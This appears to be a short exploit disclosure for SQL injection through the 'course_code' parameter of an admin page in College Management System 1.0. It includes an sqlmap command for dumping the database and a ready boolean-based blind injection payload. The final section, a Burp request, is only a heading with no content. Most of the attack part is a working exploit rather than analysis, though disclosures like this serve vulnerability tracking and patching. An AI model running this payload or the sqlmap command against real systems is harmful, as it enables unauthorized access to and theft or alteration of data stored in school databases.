------------------------------------------------------------------------------------

1. Description:
----------------------

College Management System 1.0 allows SQL Injection via parameter 'course_code' in
/College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'course_code' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql


3. Example payload:
----------------------

boolean-based blind
Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ


4. Burpsuite request:
